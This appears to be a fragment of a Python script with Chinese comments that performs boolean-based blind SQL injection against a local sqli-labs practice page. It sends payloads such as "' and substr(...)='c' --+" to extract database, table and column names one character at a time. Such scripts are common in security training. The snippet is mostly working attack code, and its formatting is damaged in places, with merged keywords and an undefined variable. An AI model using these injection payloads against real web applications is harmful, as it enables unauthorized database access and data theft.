def__init__(self, url, mark, obj): ''' obj参数举例: obj = "database()" obj = "select table_name from information_schema.tables where table_schema=database() limit 0,1" ''' self.url = url self.mark = mark self.obj = obj
defget_length(self): payload_len = "' and length({0})={1} --+" # 如果实例参数是双引号型或者整数型,记得把改payload格式 i = 1 whileTrue: payload_len_i = payload_len.format(self.obj, i) r = requests.get(self.url + payload_len_i) if self.mark in r.text: print("len", i) return i i += 1
defget_name(self): name_len = self.get_length() payload_name = "' and substr({0},{1},1)='{2}' --+" output = '' for i in range(1, name_len + 1): for c in self.chr_str: # 直接枚举 payload_name_i = payload_name.format(self.obj, i, c) r = requests.get(url + payload_name_i) if self.mark in r.text: output += c print(output) break return output
# mark 是判断为True还是False的标志,这里是you are in url = "http://127.0.0.1/sqli/Less-5/?id=1" mark = "You are in" obj_t = "(select group_concat(table_name) from information_schema.tables where table_schema=database())" obj_c = "(select group_concat(column_name) from information_schema.columns where table_schema=database())"